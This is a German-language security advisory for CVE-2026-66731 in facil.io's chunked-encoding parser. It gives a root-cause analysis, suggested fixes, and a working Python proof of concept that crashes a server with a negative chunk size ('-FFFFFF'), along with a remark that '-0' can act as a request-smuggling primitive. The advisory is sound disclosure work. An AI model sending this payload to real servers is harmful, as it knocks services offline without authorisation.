
Sicherheitshinweis für CVE-2026-66731 mit Root-Cause-Analyse, PoC-Exploit und Fix-Vorschlägen für den HTTP/1.1-Chunked-Encoding-Parser-Bug in facil.io.
Zugewiesene CVE-ID: CVE-2026-66731
Produkt: facil.io
Betroffene Versionen: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); eingeführt, als der 0.8.x HTTP/1.1-Parser in 0.7.5 zurückportiert wurde – nicht vorhanden in 0.6.x oder 0.7.0–0.7.3
Komponente: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Fehlerhafte Eingabevalidierung), CWE-682 (Fehlerhafte Berechnung), CWE-125 (Lesen außerhalb des gültigen Speicherbereichs)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Forscher: Theodosis Paidakis
Der Parser für die Chunked-Transfer-Encoding akzeptiert ein führendes Minuszeichen bei Chunk-Größenwerten. http1_atol16 gibt für Eingaben wie -FFFFFF einen negativen long long zurück. Der Parser speichert 0 - chunk_len in content_length als Sentinel für „innerhalb eines Chunks“. Wenn chunk_len negativ ist, erzeugt diese Subtraktion einen großen positiven Wert und korrumpiert die Zustandsmaschine. Eine anschließende Zeigerberechnung bewegt den Lesezeiger Millionen von Bytes vor den Eingabepuffer in nicht zugeordneten Speicher, wodurch der Prozess abstürzt. Ein einziger nicht authentifizierter POST-Request genügt.
Schritt 1: http1_atol16 akzeptiert ein führendes Minuszeichen
lib/facil/http/parsers/http1_parser.h, Zeilen 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
Die Eingabe -FFFFFF\r\n erzeugt chunk_len = -16777215LL. RFC 7230 Abschnitt 4.1 legt fest, dass Chunk-Größen nicht-negative hexadezimale Ganzzahlen sind. Ein führendes Minus ist nicht gültig.
Schritt 2: Korruption der Zustandsmaschine
lib/facil/http/parsers/http1_parser.h, Zeilen 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
Der Parser verwendet ein negatives content_length als Sentinel mit der Bedeutung „aktuell wird der Chunk-Body gelesen“. Mit einem positiven content_length von +16777215 geht die Zustandsmaschine davon aus, dass sie einen normalen (nicht gechunkten) Body von 16 MB liest.
Schritt 3: Zeiger bewegt sich rückwärts in nicht zugeordneten Speicher
Bei der nächsten Iteration berechnet der Parser:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
Der Lesezugriff auf diese Adresse löst einen Fehler aus.
Starten Sie den Server und führen Sie dann Folgendes aus:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
ASAN-Ausgabe (bestätigt):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Auswirkung je nach gesendeter Chunk-Größe:
Hinweis: Der Fall -0 (0 - 0 = 0) erreicht den Zweig „Chunk-Body vollständig“ und überlebt, aber der Server akzeptiert den Request unabhängig von nachfolgenden Daten als mit leerem Body. Dies kann in Proxy-Bereitstellungen, in denen das Frontend die Chunked-Kodierung anders parst, als Request-Smuggling-Primitive fungieren.
Ein einzelner nicht authentifizierter Transfer-Encoding: chunked-Request mit negativer Chunk-Größe stürzt den Server ab. Jede Anwendung, die HTTP/1.1 akzeptiert, ist betroffen; Chunked Encoding ist ein Kernprotokollmerkmal und erfordert keine Konfiguration auf Anwendungsebene.
Beide Ansätze sind ausreichend. Bevorzugen Sie Fix 1.
Fix 1: Das führende Minus in http1_atol16 ablehnen
lib/facil/http/parsers/http1_parser.h, Zeile 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Fix 2: chunk_len vor der Verwendung validieren
lib/facil/http/parsers/http1_parser.h, Zeile 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
Commit 53caca31 („Fix atol16 to fix chunked length calculation“, Dez. 2019) korrigierte die Bedingung der Überlauferkennungsschleife, behielt jedoch den Code zur Vorzeichenbehandlung. Commit fe847cdf („fix HTTP/1.1 parser against smuggling attack“, Mai 2020) behandelte TE/CL-Konflikte (sowohl Transfer-Encoding als auch Content-Length vorhanden). Keiner von beiden deckt negative Chunk-Größen ab.
| Chunk-Größe | content_length nach der Korruption | Ergebnis |
|---|
-0 | 0 | Body wird still übersprungen; Server überlebt |
-1 | +1 | Zeiger 1 Byte vor dem Anfang |
-FFFFFF | +16777215 | Zeiger 16 MB vor dem Anfang; Absturz |
-7FFFFFFF | +2147483647 | Zeiger 2 GB vor dem Anfang; Absturz |